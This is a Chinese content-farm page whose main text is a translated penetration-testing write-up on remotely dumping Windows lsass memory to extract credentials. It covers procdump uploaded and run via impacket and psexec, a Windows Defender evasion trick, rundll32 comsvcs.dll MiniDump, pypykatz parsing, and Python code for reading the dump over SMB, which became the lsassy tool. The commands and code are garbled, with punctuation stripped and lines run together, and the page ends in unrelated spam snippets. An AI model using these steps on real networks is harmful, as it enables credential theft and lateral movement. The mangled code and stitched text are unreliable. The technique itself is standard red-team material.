临汾山东漯河饰品美体美文
投稿投诉
美文创意
爱情通信
用品婚姻
爱好看病
美体软件
影音星座
瑜伽周边
星座办公
饰品塑形
搞笑减肥
幼儿两性
智家潮品
漯河衢州
兴义眉山
桂林阳泉
玉溪简阳
山东遂宁
永城新余
梧州洛阳
泸州温州
临汾清远
营口常熟
浙江大连
桐乡宜昌

lsassexe是什么进程(xp出现lsass错误无法开机)

5月13日 风雨峰投稿
  lsassexe是什么进程(xp出现lsass错误无法开机)
  在企业渗透测试中,横向移动感染和权限提升是测试攻击范围和扩大攻击力的两个必选项。有多种方法可以实现其中一种,但是今天我们将介绍一种远程读取lsass转储内容的新技术,这将极大地减少在一组计算机上提取密码时的延迟和检测。
  lsass。exe是一个系统重要进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。如果结束该进程,会出现不可知的错误。注意:lsass。exe也有可能是Windang。worm、irc。ratsou。b、Webus。B、MyDoom。L、Randex。AR、Nimos。worm等病毒创建的,病毒通过软盘、群发邮件和P2P文件共享进行传播。
  CrackMapExec
  CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。该工具利用AD内置功能协议达成其功能,并规避大多数终端防护IDSIPS解决方案。
  CrackMapExec工具由Byt3bl33d3r开发和维护的,其目的是异步地能够在一组计算机上执行操作。该工具允许你使用域或本地帐户以及密码或LMNT哈希在远程计算机上进行身份验证。
  CrackMapExec是采用模块化方式开发的,可以创建该工具在登录到计算机时将执行的自己的模块。模块已经很多了,例如枚举不同的信息(DNS,Chrome凭据,已安装的防病毒软件)模块,BloodHound构建器的执行或在组策略首选项中查找凭据的模块。BloodHound是一个独立的JavascriptWeb应用程序,基于Linkurious构建,使用Electron编译,其中Neo4j数据库由PowerShellingestor提供。
  Mimikatz模块
  特别是有一个模块,它在一段时间内非常有效,那就是Mimikatz模块。CrackMapExec在远程计算机上运行Mimikatz,以从lsass内存或本地安全权限子系统提取凭据。lsass包含所有安全服务提供者或SSP,它们是管理不同类型身份验证的数据包。出于实际原因,用户输入的凭据通常保存在这些SSP中,这样用户就不必在几秒或几分钟后再次输入它们。
  这就是为什么Mimikatz提取位于这些不同ssp中的信息,就是因为试图找到一些身份验证机密,并将它们显示给攻击者。因此,如果一个权限帐户连接到其中一台受感染的主机,则Mimikatz模块允许你快速提取它的凭证,从而利用这个帐户的权限来攻击更多的目标。
  但是今天,大多数杀毒软件已经可以检测到Mimikatz的存在或执行,并阻止它,所以CrackMapExec模块只是挂起,等待来自服务器的响应,但由于进程被杀死而无法获取。
  手动方式:Procdump
  因此,我过去常常使用名为Procdump的工具手动完成此任务。
  Procdump是Sysinternals套件中的一个工具,由MarcRussinovich编写,旨在帮助系统管理员。目前,这个工具集已经被大量的管理员和开发人员采用,所以微软在2006年决定购买它,并且这些可执行文件现在已经由微软签署,因此Windows认为它们是合法的。
  procdump工具就是这些工具中的一种,它的任务是转储正在运行的进程内存。它会附加到进程,读取其内存并将其写入文件。procdumpaccepteulamaprocessusdump。dmp
  如前所述,Mimikatz在lsass内存中寻找凭证。因此,可以将lsass内存转储到主机上,在本地下载其转储,并使用Mimikatz提取凭据。
  Procdump可用于转储lsass,因为它被认为是合法的,因此不会被视为恶意软件。
  例如,使用套件impacket中的smbclient。py将procdump发送到服务器。
  smbclient。pyADSEC。LOCALjsnowDC01。adsec。localuseCcdWindowscdTempputprocdump。exe
  上传后,需要执行procdump来创建此lsass转储。
  psexec。pyadsec。localjsnowDC01。adsec。localC:WindowsTempprocdump。exeaccepteulamalsassC:WindowsTemplsass。dmp
  然后,需要将转储文件下载到攻击者的主机上,并删除远程主机上的跟踪记录。
  getlsass。dmpdelprocdump。exedellsass。dmp
  可以使用Mimikatz检索凭证:第一行加载内存转储,第二行检索秘密。
  sekurlsa::minidumplsass。dmpsekurlsa::logonPasswords
  该技术非常实用,因为它不会产生太多噪音,并且仅在目标主机上使用合法的可执行文件。
  限制与改进
  这种方法有不同的局限性,我们将在此处概述它们,并提出改进措施以解决这些问题。
  LinuxWindows
  第一个问题是,在测试期间,无论是用于Web测试还是用于内部测试,我主要使用Linux,而Mimikatz是专门为Windows开发的工具,最好能够在Linux计算机上执行上述攻击链。
  幸运的是,Skelsec的Pypykatz项目可以帮助我们解决此问题。Skelsec在纯python中开发了Mimikatz的部分实现,这意味着跨平台。像Mimikatz一样,这个工具让我们能够提取lsass转储的秘密。
  pypykatzlsaminidumplsass。dmp
  由于有了这个项目,现在可以在Linux计算机上执行所有操作。上一节中介绍的所有步骤均适用,并且将lsassdump下载到攻击者的主机后,pypykatz用于从此转储中提取用户名和密码或NT哈希。
  到目前为止一切顺利,让我们继续。
  WindowsDefender
  现在说说由第二个由Windows防御程序引起的限制,尽管从Windows角度来看,procdump是值得信赖的工具,但WindowsDefender认为转储lsass是可疑活动。转储过程完成后,WindowsDefender会在几秒钟后删除转储。如果我们的连接性很好,并且转储不太大,则可以在将其删除之前先下载它。
  这对我来说太随意了,在查看了procdump文档之后,我意识到也可以为它提供一个进程标识符(PID)。令人惊讶的是,通过为其提供lsassPID,WindowsDefender不再抱怨。
  此时,我们只需要使用命令tasklist查找lsassPID。tasklistfiimagenameeqlsass。exeImageNamePIDSessionNameSessionMemUsagelsass。exe640Services015,584K
  一旦检索到此PID,就可以将其与procdump一起使用。procdumpaccepteulama640lsass。dmp
  然后,我们有足够的时间下载转储文件,然后在本地分析它。
  手动方式
  发送远程主机的procdump、执行它并检索转储,这些工作都非常完美,但是这是一个非常非常慢的过程。
  在本文开头,我们讨论了CrackMapExec及其模块性,这就是为什么我编写了一个模块来自动执行此攻击的原因。该模块会将procdump上传到目标,执行它,从lsass检索转储,然后针对CrackMapExec参数中指定的每个目标使用pypykatz对其进行分析。
  该模块运行良好,但是需要很长时间才能运行。由于文件太大,有时在下载大型转储文件时甚至会超时。但是,我们需要使该过程更快。
  转储文件大小
  现在,借助新的CrackMapExec模块,我们可以将lsass转储到远程主机上,并在本地和自动在Linux主机上对其进行分析。但是,进程内存转储大于几个字节,甚至几个千字节。对于lsass转储,它们可以是几兆字节,甚至几十兆字节。在我的测试期间,一些转储竟超过了150MB。
  如果要自动化此过程,我们将必须找到解决方案,因为在200台计算机的子网上下载lsass转储将导致下载数十G数据。一方面,这将花费很长时间,尤其是对于其他国家地区的全球远程计算机而言,另一方面,安全团队可能会检测到异常的网络流量。
  到目前为止,我们已经有了解决问题的工具,但是这次,我们将不得不手动操作。
  我们将继续使用pypykatz从lsass转储中提取凭证,由于我们只希望procdump上传远程主机,因为它是由微软签署的,所以我们不能上传pypykatz。
  考虑到这一点,我们将使用的方法特点如下:为了分析本地转储,pypykatz必须打开文件并以不同的偏移量读取字节。Pypykats不会读取太多数据,它只需要读取特定偏移量的特定数据量即可。
  为了提高效率,我们的想法是在远程目标上的转储上远程读取这些偏移量和这些地址,并且只下载包含预期信息的少量转储。
  因此,让我们看一下pypykatz的工作原理。到目前为止,我们一直在使用的命令行如下:pypykatzlsaminidumplsass。dmp
  在pypykate中,LSACMDHelper类处理lsa参数。当我们为其提供lsass转储时,将调用run()方法,这段代码可以在以下方法中找到:Minidumpelifargs。cmd39;minidump39;:ifargs。directory:dirfullpathos。path。abspath(args。memoryfile)filepattern39;。dmp39;ifargs。recursiveTrue:globdataos。path。join(dirfullpath,39;39;,filepattern)else:globdataos。path。join(dirfullpath,filepattern)logging。info(39;Parsingfolders39;dirfullpath)forfilenameinglob。glob(globdata,recursiveargs。recursive):logging。info(39;Parsingfiles39;filename)try:mimipypykatz。parseminidumpfile(filename)results〔filename〕mimiexceptExceptionase:fileswitherror。append(filename)logging。exception(39;Errorparsingfiles39;filename)ifargs。haltonerrorTrue:raiseeelse:pass
  lsass转储解析是在以下行实现的:mimipypykatz。parseminidumpfile(filename)
  该方法在pypykatz。py文件中定义:fromminidump。minidumpfileimportMinidumpFilestaticmethoddefparseminidumpfile(filename):try:minidumpMinidumpFile。parse(filename)readerminidump。getreader()。getbufferedreader()sysinfoKatzSystemInfo。fromminidump(minidump)exceptExceptionase:logger。exception(39;Minidumpparsingerror!39;)raiseetry:mimipypykatz(reader,sysinfo)mimi。start()exceptExceptionase:logger。info(39;Credentialsparsingerror!39;)mimi。logbasicinfo()raiseereturnmimi
  据估计,它是minidump包中的MinidumpFile类,用于处理解析。我们需要更深入一点,专注于小型转储。
  在Minidumpfile类中,解析方法描述如下:staticmethoddefparse(filename):mfMinidumpFile()mf。filenamefilenamemf。filehandleopen(filename,39;rb39;)mf。parse()returnmf
  这是我们正在寻找的代码,我们尝试分析的lsass转储被打开,然后被解析。解析仅在文件对象上使用read,seek和tell方法。
  除了在远程文件上,我们只需要编写一些代码来实现这些方法即可。为此,我们将使用Impacket。39;open39;isrewrittentoopenandreadaremotefileclassopen(object):definit(self,fpath,mode):domainName,userName,password,hostName,shareName,filePathself。parseArg(fpath)ImpacketSMBConnexionisachildclassofimpacketwrittentosimplifythecodeself。connImpacketSMBConnexion(hostName,userName,password,domainName)self。fpathfilePathself。currentOffset0self。tidself。connectTree(shareName)self。fidself。conn。openFile(self。tid,self。fpath)ParsefilenametoextractremotecredentialsandlsassdumplocationdefparseArg(self,arg):patternre。compile(r(?P〔azAZ09。〕)(?P〔:〕):(?P〔〕)(?P〔azAZ09。〕):(?P〔〕)(?P(?:〔〕)〔〕))matchespattern。search(arg)ifmatchesisNone:raiseException({}isnotvalid。Expectedformat:domainusername:passwordhost:sharepathtofile。format(arg))returnmatches。groups()defclose(self):self。conn。close()Readsizebytesdefread(self,size):ifsize0:returnb39;39;valueself。conn。readFile(self。tid,self。fid,self。currentOffset,size)returnvalueMoveoffsetpointerdefseek(self,offset,whence0):ifwhence0:self。currentOffsetoffsetReturncurrentoffsetdeftell(self):returnself。currentOffset
  因此,我们有了在网络共享上进行身份验证的新类,并且可以使用上述方法读取远程文件。如果我们告诉minidump使用这个类而不是传统的open方法,那么minidump会毫不犹豫地读取远程内容。
  minidumpadsec。localjsnow:Winteriscoming!DC01。adsec。local:CWindowsTemplsass。dmp
  同样,由于pypykatz使用的是minidump,所以它可以分析远程转储而不需要完全下载它。
  pypykatzlsaminidumpadsec。localjsnow:Winteriscoming!DC01。adsec。local:CWindowsTemplsass。dmp
  优化
  现在,我们有了一种远程读取和分析lsass转储的方法,而不必在我们的计算机上下载完整的150MB转储,这是向前迈出的一大步!
  但是,即使我们不必下载所有内容,转储也要花费很长时间,这几乎与下载整个东西一样多。这是由于每个minidump每次要读取几个字节时,都会向远程服务器发出新请求。这是非常低效的,当我们记录一些读调用时,才意识到minidump发出了许多4字节的请求。
  为了克服这个问题,我实现了一个解决方案,即创建一个本地缓冲区,并在请求期间强制读取最少的字节数,以减少开销。如果一个请求需要的字节少于4096,那么我们仍然会请求4096字节,我们将在本地保存这些字节,并且我们只会将第一个字节返回给minidump。
  在接下来对read函数的调用中,如果请求的数据大小在本地缓冲区中,则直接返回本地缓冲区,这要快得多。另一方面,如果数据不在缓冲区中,则将请求一个4096字节的新缓冲区。
  该优化非常有效,因为minidump会执行大量并发读取。实施方法如下:defread(self,size):Returnanemptystringif0bytesarerequestedifsize0:returnb39;39;if(self。bufferdata〔offset〕self。currentOffsetself。currentOffsetsize):Ifrequestedbytesareincludedinlocalbufferself。bufferdata〔buffer〕,wereturnthesesbytesdirectlyvalueself。bufferdata〔buffer〕〔self。currentOffsetself。bufferdata〔offset〕:self。currentOffsetself。bufferdata〔offset〕size〕else:Else,werequestthesebytestotheremotehostself。bufferdata〔offset〕self。currentOffsetIftherequestasksforlessthenself。bufferminsizebytes,wewillstillaskforself。bufferminsizebytesandwewillsavetheminthelocalbufferfornextcalls。self。bufferminsize:valueself。conn。readFile(self。tid,self。fid,self。currentOffset,self。bufferminsize)self。bufferdata〔size〕self。bufferminsizeself。totalreadself。bufferminsizeelse:valueself。conn。read(self。tid,self。fid,self。currentOffset,size)self。bufferdata〔size〕sizeself。totalreadsizeself。bufferdata〔buffer〕valueself。currentOffsetsizeReturnwhatwasasked,nomore。returnvalue〔:size〕
  这种优化大大节省了时间,下面是在我的计算机上做的一个基准测试:pythonnoopti。pyFunctionminidump,Time39。831733942pythonopti。pyFunctionminidump,Time0。897719860077
  如果不进行此优化,则脚本将花费大约40秒钟来运行,而如果进行了优化,则将花费不到一秒钟的时间。这意味着,在小于150MB的远程lsass转储中,提取身份验证秘密的时间不到一秒钟!
  从方程式中删除Procdump
  我们当前的技术是依靠Procdump转储lsass内存,但是,尽管它是由Microsoft签署的,但我发现不使用它更干净,而改用Microsoft内置工具。
  C:WindowsSystem32中有一个名为comsvcs。dll的DLL,它在进程崩溃时转储进程内存。该DLL包含一个名为MiniDumpW的函数,该函数已编写,因此可以使用rundll32。exe进行调用。
  前两个参数未使用,但第三个参数分为三部分。第一部分是将要转储的进程ID,第二部分是转储文件位置,第三部分是单词full,没有其他选择。
  一旦解析了这3个参数,基本上该DLL将创建转储文件,并将指定的进程转储到该转储文件中。
  由于有了此功能,我们可以使用comsvcs。dll来转储lsass进程,而不用上传procdump并执行它。rundll32。exeC:WindowsSystem32comsvcs。dllMiniDumplsass。dmpfull
  我们只需要记住,该技术只能作为SYSTEM执行。
  CrackMapExec模块
  使用此新工具,我修改了CrackMapExec模块,以便它从lsass转储中远程提取密码。
  由于pypykatz和minidump仅在python3。6以前的版本中运行,而CrackMapExec尚不兼容python3,因此我目前无法发出拉取请求,也无法将pypykatz导入到我的模块中。目前,对pypykatz的调用是通过调用我的工具的新进程完成的。
  mpgn正在使用适用于python3的CrackMapexec。
  新开发的工具
  本文有两个我写的工具,你可以使用这个技巧:
  我的Github或Pypi上都有lsassy,此工具使用DLL技术或Procdump技术使用本文中讨论的所有研究来远程转储lsass。
  CrackMapExec模块允许你通过在远程主机上执行lsass转储,并使用lsassy提取登录用户的凭据来自动化整个过程。通过使用Bloodhound收集的数据,还可以检测具有攻击路径的帐户成为域管理员。
投诉 评论

lsassexe是什么进程(xp出现lsass错误无法开机)lsassexe是什么进程(xp出现lsass错误无法开机)在企业渗透测试中,横向移动感染和权限提升是测试攻击范围和扩大攻击力的两个必选项。有多种方法可以实现其中一种,但……太原哪个医院好(太原第二人民医院好吗)81岁的罗奶奶患糖尿病十几年了,近两年又出现了糖尿病足合并症,伤口常年不愈,饱受疼痛折磨。5月13日,经市第二人民医院医生手术治疗后,老人伤口逐渐痊愈。李主任,告诉你个好……能查出对方手机位置在哪吗(怎样查出对方手机位置)如果你知道对方的手机号码,你能查出他在哪里吗?您只能检查您和被调查人是否都是中国移动或中国联通在同一城市的用户,并且对方的手机设置为公共状态。对方无法关机,否则您无法找到如何查……桂城是哪里(南海桂城)6月1日,佛山市南海区第七次全国人口普查领导小组办公室公布辖区最新人口普查公报。作为南海中心城区,桂城街道最新人口数据颇具亮点,其中,受教育年限、人口密度、青少年人口等均位列全……厦门哪个酒店(厦门宾馆)厦门,我国文艺青年的信仰之地,有着最美大学厦门大学、世界文化遗产鼓浪屿的加持;同时占据距离台湾最近的必争之地,在房价排行榜上高居全国前五;厦门虽然经济在省内只能排行第三,但是作……郑云龙恋情郑云龙自从在声入人心火了之后,关于他的事情也是曝光的越来越多,近日有消息爆料郑云龙恋情疑曝光,这让不少郑云龙的粉丝也是很好奇他的女朋友是谁,那我们还是等着郑云龙本人官宣吧,另外……为什么有个人所得税(我从来没交个人所得税)相信现如今大家对于个人所得税一定不陌生了吧。众所周知,国内因为疫情的原因,国家开放了不少优惠政策。但即便如此,还是有不少企业或人员有着诸多的税务问题。比如说不交个税对个人有什么……京华是哪里(宋朝京城在哪里)京畿一词出现于中国唐朝前,汉潘勗《册魏公九锡文》有遂建许都,造我京畿,设官兆祀,不失旧物。意即位于国之中央的都城。在唐朝,当时将唐长安城周边地区分为京县(赤县)和畿县,京……魔兽哪个职业好玩(魔兽世界最值得玩的职业)在魔兽世界TBC版本怀旧服开放之前,玩家们都在议论那些70级哪些职业最吃香,按照60级怀旧服的理解,那么必然是DPS能力最强的猎人。然而在TBC版本真正开放之后,猎人的处境也并……今日废铝废铝价格,现在铝废品多少钱一斤铝价延续走强,特别是沪铝当月合约。最高攀升至元吨。钢材企业提供最新的废铝最新价格汇总资讯。点7512点5元每公斤,各个地方有点差异。经常回收的废铝有。我们拥有废品分类工厂。废铝……快手视频如何下载(快手素材视频怎么下载)在采集视频素材的过程中,很多短视频的平台都会成为首选,那么就有很多人在问,有什么办法可以批量采集呢,今天小编就教给大家一个能够快速批量下载的方法,要好好记下来哦!1、小编……今日六福足金价格(周大福金价今日价格)包括但不,版权归属于原作者。因地域门店不同略有差异。。内地六福今日金价4800元克。白银投资网提供了今日最新黄金首饰价格多少钱一克。免责声明本站发布此文目的在于促进信息交流。产……
水培植物有哪些(最适合室内水养的植物)水培植物有哪些(最适合室内水养的植物)植物和动物一样,既有陆生,亦有水生,甚至还有水陆双栖型,而不同生长方式的它们,于基础养护上,自然表现出不同的喜恶。那么,对于以下这5……中银协回应银行员工拒喝敬酒被打近日中银协回应银行员工拒喝敬酒被打登录了热搜,也是在网上引起了网友们的关注,那么很多小伙伴可能还不清楚具体的情况如何,小编也是在网上查阅了一些信息,那么接下来就分享给大家来了解……教大家立秋之后会掉头发吗近日有关于教大家立秋之后会掉头发吗的问题受到了很多网友们的关注,大多数网友都想要知道教大家立秋之后会掉头发吗的具体情况,那么关于到教大家立秋之后会掉头发吗的相关信息,小编也是在……温暖的抱抱电影投资怎么参与?有什么投资价值?成本?专注影视行业多年,丰富的经验和知识铸就成功,你刚好需要,我刚好专业,电影版权认购,联系电话:17115117102(微信同号)电影:温暖的抱抱类型:喜剧导演:……央视批有的大胃王吃播浪费严重近日有关于央视批有的大胃王吃播浪费严重的问题受到了很多网友们的关注,大多数网友都想要知道央视批有的大胃王吃播浪费严重的具体情况,那么关于到央视批有的大胃王吃播浪费严重的相关信息……鼻咽癌治疗(鼻咽癌如何治疗?)鼻咽癌治疗(鼻咽癌如何治疗?)鼻咽癌如何治疗?鼻咽癌位置特殊,传统手术切除有一定的局限性,为了进一步治疗,李先生来到了广药三院肿瘤一科。彭齐荣教授认为,鼻咽癌的治疗……显学是什么意思(墨家为什么被称为显学)墨子是墨家学说的创立者,提出了兼爱非攻尚贤尚同天志明鬼非命非乐节葬节用等观点,以兼爱为核心,以节用、尚贤为支点,创立了以几何学、物理学、光学为突出成就的一整套科学理论。墨家在先……庄周梦蝶(你真的了解庄周梦蝶背后的寓意吗?)庄周梦蝶(你真的了解庄周梦蝶背后的寓意吗?)中国人的梦文化是什么样?梦文化在世界各国都是一个很重要的一种文化现象,中国人也有自己的梦,中国人的梦文化。最主要的应当是从庄子……今日成都甲醇价格今日二氯甲烷最新价格36元克,中小银行应避免一味扩张。钯铂合金当前行情价格,促进文化艺术的交流,年1月20日热点新闻成都某火锅店多人餐后出现不适汤加火山喷发未对我国远洋渔业捕捞造成直接影响农业农村……癫痫病人吃什么好(癫疯病什么不能吃)癫痫病人吃什么好(癫疯病什么不能吃)大家知道,癫痫其实每个人都有可能发生,癫痫是一种神经细胞异常放电引起的大脑疾病,只要我们稍微不注意日常生活中的各个方面,就会引发癫痫,而目前……打美白针多久一次(打过美白针的进来聊聊)无论多大的女生,对于美白的执着可是永恒的。可是有美白效果的护肤品要么价格昂贵,要么见效时间慢,很多女生慢慢有了走捷径的想法打美白针。泰国女子连打6年美白针,如今已烂脸其实……王者荣耀战队怎么拉人(王者荣耀战队筹备怎么响应)王者荣耀手游近期上线了战队招募功能,这个功能为召唤师只能匹配战队,今天小编就为大家介绍一下王者荣耀手游战队招募玩法。全新的招募功能将会根据玩家的段位、等级以及地理位置等信……

友情链接:中准网聚热点快百科快传网快生活快软网快好知文好找